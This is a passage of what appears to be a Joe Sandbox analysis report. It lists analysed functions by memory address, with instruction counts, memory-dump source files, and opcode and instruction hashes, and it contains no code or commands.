                                                                            • Opcode Fuzzy Hash: a01dce4961a3efbfae2e6b3d16e8568d6cf1e2dbbd0198d3c0aba93345a599f8
                                                                            • Instruction Fuzzy Hash: B0111870E09608CFDB18DF94D0446BDBBF2FB49315F24A02AD41AA3255F734A946DF09
                                                                            Function 071DA6B8 Relevance: .0, Instructions: 49COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1744128873.00000000071C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_71c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: fb0d8065782da9a9c49228942689367120fa506f52b478992448d0622ff0751e
                                                                            • Instruction ID: a647364d185a07a4d91953ffb029c867a98aa4bb89233b02cd8b659560146108
                                                                            • Opcode Fuzzy Hash: fb0d8065782da9a9c49228942689367120fa506f52b478992448d0622ff0751e
                                                                            • Instruction Fuzzy Hash: 801180B4E01209DFCB44DFA8D585AAEBBF1FB48300F1085AA9819A7351D7349E41DF91
                                                                            Function 00CD2149 Relevance: .0, Instructions: 48COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1715623367.0000000000CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_cd0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: dc339c3b9cb163da6af5083e95822f293acf6b31d2b7e184764e738dd284398b
                                                                            • Instruction ID: d7d4d08b19df21510849db996949a1a5db658add3149aad54f47ac0e102e058a
                                                                            • Opcode Fuzzy Hash: dc339c3b9cb163da6af5083e95822f293acf6b31d2b7e184764e738dd284398b
                                                                            • Instruction Fuzzy Hash: A4012670704100AFE7149BA99C44B3E7AA2EF99340F248027FB1AD73A6DB348D019356
                                                                            Function 071DF670 Relevance: .0, Instructions: 46COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1744128873.00000000071C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_71c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: fc91226bdeca2fe27e6ec82d978af3f9cdc1b26c5f1cf95b84a57a6faca09fa0
                                                                            • Instruction ID: 43da306bbf0587dad5a465af3a5bfcafe2629a27b8861304f445753e01a036a1
                                                                            • Opcode Fuzzy Hash: fc91226bdeca2fe27e6ec82d978af3f9cdc1b26c5f1cf95b84a57a6faca09fa0
                                                                            • Instruction Fuzzy Hash: 9411B3B4E0020A9FCB48DFA9D9457AEBBF5FF88300F20856A9518B7354DB319A419B91
                                                                            Function 00C7D005 Relevance: .0, Instructions: 45COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1715303167.0000000000C7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C7D000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_c7d000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 7cae0e4fc63104c27c606e0f74e18f1526c9f7c395171b11fec78c5cf6800f94
                                                                            • Instruction ID: 5cfc004f0cce98c3275d0a4048a1a2392c7025fb13a2855753a9cc0b57a7816b
                                                                            • Opcode Fuzzy Hash: 7cae0e4fc63104c27c606e0f74e18f1526c9f7c395171b11fec78c5cf6800f94
                                                                            • Instruction Fuzzy Hash: 47014C6140E3C09FD7128B358894B52BFB4EF53224F1DC1DBE8998F1A3C2699849C772
                                                                            Function 00C7D01D Relevance: .0, Instructions: 45COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1715303167.0000000000C7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C7D000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_c7d000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 7f9069f6fedd819d9728fbd54b815f8eb1d0d6a125374a340977e3b72f80374d
                                                                            • Instruction ID: 67699f124e3e1712ce9aba1b13b5f570d8030c98a31048ec5e6c857b062bd275
                                                                            • Opcode Fuzzy Hash: 7f9069f6fedd819d9728fbd54b815f8eb1d0d6a125374a340977e3b72f80374d
                                                                            • Instruction Fuzzy Hash: 3A01D6714083409AE7108E2ACDC4B67BFE8EF51324F18C52AED5E4B286C679D981C7B1
                                                                            Function 046C5EE8 Relevance: .0, Instructions: 45COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 028a959a83b5c92f20fb0e9498e350558e7c0cd1307f7193cdb555fd67c0f997
                                                                            • Instruction ID: a0f0520223ad8c547e39eb950b22099686c499df1efe8a79c8a740791c81f2f7
                                                                            • Opcode Fuzzy Hash: 028a959a83b5c92f20fb0e9498e350558e7c0cd1307f7193cdb555fd67c0f997
                                                                            • Instruction Fuzzy Hash: 8101B1B5D05208AFCB84DFA4D8905ADBFB0EB45314F1084EED859D3352EA31AE01CB85
                                                                            Function 00CD0A89 Relevance: .0, Instructions: 44COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1715623367.0000000000CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_cd0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 640f3b6f8c21734a761a72fa44571d3bb9753a4144ee80cd5e261dd61d45744d
                                                                            • Instruction ID: 24b16a2c78a8b2e6abcdd2adadb58ea97efb8f0fff03d1e350fc1e6855c4fb95
                                                                            • Opcode Fuzzy Hash: 640f3b6f8c21734a761a72fa44571d3bb9753a4144ee80cd5e261dd61d45744d
                                                                            • Instruction Fuzzy Hash: 9B01B132D0464B9ACB109BB4D8446DEBF72EFCA320F29425AD50177560EA702589CB91
                                                                            Function 046CA98B Relevance: .0, Instructions: 42COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 4db993b0440c435747df77cfbb437abc40f2ecdc100fb78dfe6bdc2719193628
                                                                            • Instruction ID: 67e494e5d346e995fe66c5f1b5461078efb488e1070a74f67142c61af1e8ef98
                                                                            • Opcode Fuzzy Hash: 4db993b0440c435747df77cfbb437abc40f2ecdc100fb78dfe6bdc2719193628
                                                                            • Instruction Fuzzy Hash: 7C01A27190510CEFCB41DFE4DC41AADBBB5EB49310B0081DEF81593221EE329A51EB51
                                                                            Function 00CD1CF3 Relevance: .0, Instructions: 40COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1715623367.0000000000CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_cd0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: dd4c841f6c2b643031531ea450d05790327054e3f51f5ad4864641c5e6034da6
                                                                            • Instruction ID: 86528aafeb4c9d570b54f131da8dd711891a4cb2dfc67733e3c6bdd73fa968db
                                                                            • Opcode Fuzzy Hash: dd4c841f6c2b643031531ea450d05790327054e3f51f5ad4864641c5e6034da6
                                                                            • Instruction Fuzzy Hash: 4B012874740205EFDB159FA5C858B6DBBB2BF89304F28046AEA02DB3B5DB749D01CB40
                                                                            Function 046C9E73 Relevance: .0, Instructions: 40COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 188294ef3256eb0c42a02b5d2024d12285c442b176863049a4d6504280eca1be
                                                                            • Instruction ID: 313e3674027cb36bb6ad675007765fe049b96a061a0ff48747d97807747891ad
                                                                            • Opcode Fuzzy Hash: 188294ef3256eb0c42a02b5d2024d12285c442b176863049a4d6504280eca1be
                                                                            • Instruction Fuzzy Hash: A8018B7590420AEBCF01DFA8DC009EEBB75FF89320F00C55AE95867211E731A666CBA0
                                                                            Function 046C982C Relevance: .0, Instructions: 40COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: bd7f713e47d801657f7f7b532c2c3802717569b91a950271d33eb88b5e71af57
                                                                            • Instruction ID: 06bf54725d33304d25f8cb1502b7ce1518736201632a153ac29f3e8eaac1ea8d
                                                                            • Opcode Fuzzy Hash: bd7f713e47d801657f7f7b532c2c3802717569b91a950271d33eb88b5e71af57
                                                                            • Instruction Fuzzy Hash: 1511E374A00128DFCB64DFA4C848BECBBB1EB49305F5080DAD80DA3254DB36AE86DF50
                                                                            Function 046C5EA2 Relevance: .0, Instructions: 37COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: ea838f6dc7dd63f6be5575e87ca32e822070657316d5485a37f0b2d64f3d8aa9
                                                                            • Instruction ID: ab07d9f701090ece54a67f1c1883f70c2c32f95c28e164c1ba64aad5680763c5
                                                                            • Opcode Fuzzy Hash: ea838f6dc7dd63f6be5575e87ca32e822070657316d5485a37f0b2d64f3d8aa9
                                                                            • Instruction Fuzzy Hash: 33F062B1A46108EFC785DFF5D8519ADBBB4EB49314F0084DDD81A93211EE31AE02DB81
                                                                            Function 00CD0B0F Relevance: .0, Instructions: 36COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1715623367.0000000000CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_cd0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 754628b2106896ad68438418c3834a0f450aa7b8505dac4e2b5acb73f8e9b431
                                                                            • Instruction ID: f6fafff5074ef8f42b8468a769e43e3ecde67887c52522d5d14d09b9f156fefa
                                                                            • Opcode Fuzzy Hash: 754628b2106896ad68438418c3834a0f450aa7b8505dac4e2b5acb73f8e9b431
                                                                            • Instruction Fuzzy Hash: 94F0AF32D04159ABDF15DB24C855AEFBFB29F84300F14856AC013B7290DEB44507CB82
                                                                            Function 071C4DCC Relevance: .0, Instructions: 35COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1744128873.00000000071C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_71c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: f89b0d5847854b8567cd2aa60a795621bed113a0c0a4edd1c35bffcb7e12beef
                                                                            • Instruction ID: 6f9116501ac6661cc5c0aba798d07d39c10d35719a2b842e2c9058fbc5141444
                                                                            • Opcode Fuzzy Hash: f89b0d5847854b8567cd2aa60a795621bed113a0c0a4edd1c35bffcb7e12beef
                                                                            • Instruction Fuzzy Hash: 43119978A14269CFCB68DF14C988699B7B2FB49300F1094D7991EB7745DB309E85DF01
                                                                            Function 071C1F98 Relevance: .0, Instructions: 34COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1744128873.00000000071C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_71c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 0f4730efd44b888d16485c68f6f90e80d8a1f9b4a49d353c9efe7c1f9507be75
                                                                            • Instruction ID: 261f2c3c1072e484b01c5c821ce820a2c2ea0619777aa5b74b7e2bce761cc059
                                                                            • Opcode Fuzzy Hash: 0f4730efd44b888d16485c68f6f90e80d8a1f9b4a49d353c9efe7c1f9507be75
                                                                            • Instruction Fuzzy Hash: A511D774A01229CFDB68DF54C858BAAB7B2FB89305F0051E9D909A3244D7369ED4CF05
                                                                            Function 046CB819 Relevance: .0, Instructions: 33COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 5dd23b81c925bac878481b965099f012a49eed9d289121e657f5ecf73c9ea2b6
                                                                            • Instruction ID: 8aae76466e86c37895576b04e1193c3a1ddb4ecc4cf259bf3c9f571ea5db29c4
                                                                            • Opcode Fuzzy Hash: 5dd23b81c925bac878481b965099f012a49eed9d289121e657f5ecf73c9ea2b6
                                                                            • Instruction Fuzzy Hash: 02F06234906208BFCB01CF94E8559ADBFB9EF49310F04C0D9F84457252D732AA11DB51
                                                                            Function 046C3103 Relevance: .0, Instructions: 33COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: c3d016d4e10e64b2e6f5ad6282e78d7d79a943b0aa8a1e82b25fb5be9ced8db6
                                                                            • Instruction ID: 24cde6cff0c2ec56f0a3d8bcb0d259ad16fb91e55acd49287c145e668625f3e0
                                                                            • Opcode Fuzzy Hash: c3d016d4e10e64b2e6f5ad6282e78d7d79a943b0aa8a1e82b25fb5be9ced8db6
                                                                            • Instruction Fuzzy Hash: 06011A70A04618CFCB29DF60C9587ADB7B6FB49300F0091E9980A67345D7745E85DF41
                                                                            Function 071C1F4F Relevance: .0, Instructions: 33COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1744128873.00000000071C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_71c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 93dc04c55ae0a36c312ef72d8626339d9d03f39801d7e353231d2babc50dcf20
                                                                            • Instruction ID: dd5e91b28801771ead631cc9f75a1a796750a7e8196af7e5a5bbc493cedaa609
                                                                            • Opcode Fuzzy Hash: 93dc04c55ae0a36c312ef72d8626339d9d03f39801d7e353231d2babc50dcf20
                                                                            • Instruction Fuzzy Hash: 40014BB0901229CFDB64DF64C858BA9B7B6FB9A305F0005E9D50AA3284D7369AD1DF01
                                                                            Function 046C9E80 Relevance: .0, Instructions: 32COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 34c939d07193ab1f79790269e7fef46b4c8bcd05399a3fb62ad5e8a0e1146720
                                                                            • Instruction ID: 7576bfb7b27313d70825315093407a6c16037ba67490f90acb59ef842d1d1dae
                                                                            • Opcode Fuzzy Hash: 34c939d07193ab1f79790269e7fef46b4c8bcd05399a3fb62ad5e8a0e1146720
                                                                            • Instruction Fuzzy Hash: 43F0E77590020AEBCF01EF99D8409EEBB75FF99320F00C519E95837250E731A6A6DBA0
                                                                            Function 046C8098 Relevance: .0, Instructions: 32COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 8e4f4fbe3e5777ea0cf3087f21fb9c2ecdea8897571adbc6b3fe763d4a3d196a
                                                                            • Instruction ID: d2ddd64b25af9dc612e471e4b39b8eb5745da6fbf4ee6a3003ad7d50b2fe6a39
                                                                            • Opcode Fuzzy Hash: 8e4f4fbe3e5777ea0cf3087f21fb9c2ecdea8897571adbc6b3fe763d4a3d196a
                                                                            • Instruction Fuzzy Hash: C7F05E79609108AFCB11EFA0E8859E9BF75FB45311F1081ADEC0417252D7329A62EB62
                                                                            Function 046CA140 Relevance: .0, Instructions: 31COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 7196c05f788a720a6d7825b5fb937a1cfb47119dfccc5c214685e5bbfbb6ed18
                                                                            • Instruction ID: 81358532512adb3438945c96d08104a50740bb22422eaf19e586c27af9323a2d
                                                                            • Opcode Fuzzy Hash: 7196c05f788a720a6d7825b5fb937a1cfb47119dfccc5c214685e5bbfbb6ed18
                                                                            • Instruction Fuzzy Hash: 6FF062B2905259DFEB25CF60CC44FD9BBB8BB05324F1482DAD11DA7291E7709A85CF10
                                                                            Function 046C61C8 Relevance: .0, Instructions: 31COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 90ac849171e8a2992eeceb707844fe481506488fe24429e0789d14c1326b220c
                                                                            • Instruction ID: e2ea5eececab988f8e5b6ef0424c4f4a3a194155e0c108db7e91a85c9d2566f5
                                                                            • Opcode Fuzzy Hash: 90ac849171e8a2992eeceb707844fe481506488fe24429e0789d14c1326b220c
                                                                            • Instruction Fuzzy Hash: B0F0BE74909148AFC740CBA8D8416BCBFB8EB85300F10C1EAEC8497242E6359B02DB92
                                                                            Function 046CA9D0 Relevance: .0, Instructions: 31COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: d8cecab5e245761ff6b9da78b691da1da61f498d6f08dfc98cde91de42076149
                                                                            • Instruction ID: 0a5ef645a0fbb556cd79e9cb5f82ab2cb9e175f8cdbe1f267cb86658d946c66b
                                                                            • Opcode Fuzzy Hash: d8cecab5e245761ff6b9da78b691da1da61f498d6f08dfc98cde91de42076149
                                                                            • Instruction Fuzzy Hash: ABF0903490928CBFCB01CFE4D845AADBFB1EF49310F08C0DEE85457262D6319A95EB51
                                                                            Function 046CBA38 Relevance: .0, Instructions: 31COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: ce15d26771556ce50c497914ad21d3143cb8820c81ee4ec20f4bff86e8eff966
                                                                            • Instruction ID: 0766687a5c2b89bb879e65c53240d2fd67e6760c5faf89bf5a80c859e6328fd2
                                                                            • Opcode Fuzzy Hash: ce15d26771556ce50c497914ad21d3143cb8820c81ee4ec20f4bff86e8eff966
                                                                            • Instruction Fuzzy Hash: CAF0BE74D09208AFC701CBA8E801ABCBFB8EB45310F10C0DAE884A7362E6317E05DB94
                                                                            Function 00CDEDF8 Relevance: .0, Instructions: 29COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1715623367.0000000000CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_cd0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 7fcf6c655b169243dbceff31aea9067448a8b368ee56b1663f5da7124031670b
                                                                            • Instruction ID: 51baf6a6fe94a5a81c9e881c4307137f2ac915d3c3bb64d9bd8a9f4ba1002a3f
                                                                            • Opcode Fuzzy Hash: 7fcf6c655b169243dbceff31aea9067448a8b368ee56b1663f5da7124031670b
                                                                            • Instruction Fuzzy Hash: BEF0A734909208AFC701DF94D840AEEBFB9EB49300F1081DAE84467391C7355F15DBA5
                                                                            Function 046C2230 Relevance: .0, Instructions: 29COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 4422b2a876ed48165b556ca3af58861c63676caa212fb3bfd07370169d46d735
                                                                            • Instruction ID: 3e631652ac35b362c155ff5a79fdc05b2215496326f1248363161d390269e25f
                                                                            • Opcode Fuzzy Hash: 4422b2a876ed48165b556ca3af58861c63676caa212fb3bfd07370169d46d735
                                                                            • Instruction Fuzzy Hash: A701E874A04618CFC729DF24C9547AD77B6FB49300F0091D9A90AA7355DB705E85DF41
                                                                            Function 046CAD6A Relevance: .0, Instructions: 28COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 60027cf475af22ef03ed90a98dc7f621fd1ec3e73121ae1214d5cdb1f655bc05
                                                                            • Instruction ID: c955e003cd6256966d2ed1d3ba4a2b89badddde48bbe2368fe51922b38c7da21
                                                                            • Opcode Fuzzy Hash: 60027cf475af22ef03ed90a98dc7f621fd1ec3e73121ae1214d5cdb1f655bc05
                                                                            • Instruction Fuzzy Hash: 8701F670A00228CFDB50CF58D888B9DB7F2FB08300F408199E48AAB355E775AE85CF11
                                                                            Function 046C4E80 Relevance: .0, Instructions: 28COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: a80af43465d95c5d141061050676766aea3e77fb7c62135fdd75347cfb685945
                                                                            • Instruction ID: ce76edf448b6fbaabdea7f82b87d36b7cd03c9f72fdac4439650960e09cef44f
                                                                            • Opcode Fuzzy Hash: a80af43465d95c5d141061050676766aea3e77fb7c62135fdd75347cfb685945
                                                                            • Instruction Fuzzy Hash: FEF0F874E05208AFC745DBA8D5956ECBBF4EB49304F1480E9D85893352E6315A46DB41
                                                                            Function 046CB733 Relevance: .0, Instructions: 28COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 9b040b9f25fee638b6e891926f178d61da354aed7f92103d76f38b43e1b3f2b7
                                                                            • Instruction ID: 48cc5b05dbef3c27785c9e777b38f44716b107f7ef3220acdce7f2b647b64f18
                                                                            • Opcode Fuzzy Hash: 9b040b9f25fee638b6e891926f178d61da354aed7f92103d76f38b43e1b3f2b7
                                                                            • Instruction Fuzzy Hash: 85F08C74D09208AFCB00CBA4E881AACBFB4EB49300F1081EAEC4462352DA316A07DB65
                                                                            Function 046C888C Relevance: .0, Instructions: 27COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 0d427c6c7be42bdecbfc50dda4b45d390e51c1b1b43939946cbef7d5bfeae235
                                                                            • Instruction ID: 0e8ba0d2d03c1160557a34999a70736c2124842446915fd37fe419a8f2b08f52
                                                                            • Opcode Fuzzy Hash: 0d427c6c7be42bdecbfc50dda4b45d390e51c1b1b43939946cbef7d5bfeae235
                                                                            • Instruction Fuzzy Hash: B8F01535506108EBCB00DF94EC419EDBB75EB49311F108199E80423690DB329A62EB91
                                                                            Function 00CDEAA1 Relevance: .0, Instructions: 26COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1715623367.0000000000CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_cd0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: d94d3c275d22da3d813d5ae0fad1ef1884627a85d7dab63f5b2ffb4c66a5be97
                                                                            • Instruction ID: edd5c6a2bd218ecf46c6f5e9b7480c1514c2e4424206846d162d26464541681a
                                                                            • Opcode Fuzzy Hash: d94d3c275d22da3d813d5ae0fad1ef1884627a85d7dab63f5b2ffb4c66a5be97
                                                                            • Instruction Fuzzy Hash: EDE09B74909208AFC704EF94E84196DBF75AB45300F1481D6ED4867341C6315E51DBA5
                                                                            Function 046C7410 Relevance: .0, Instructions: 26COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
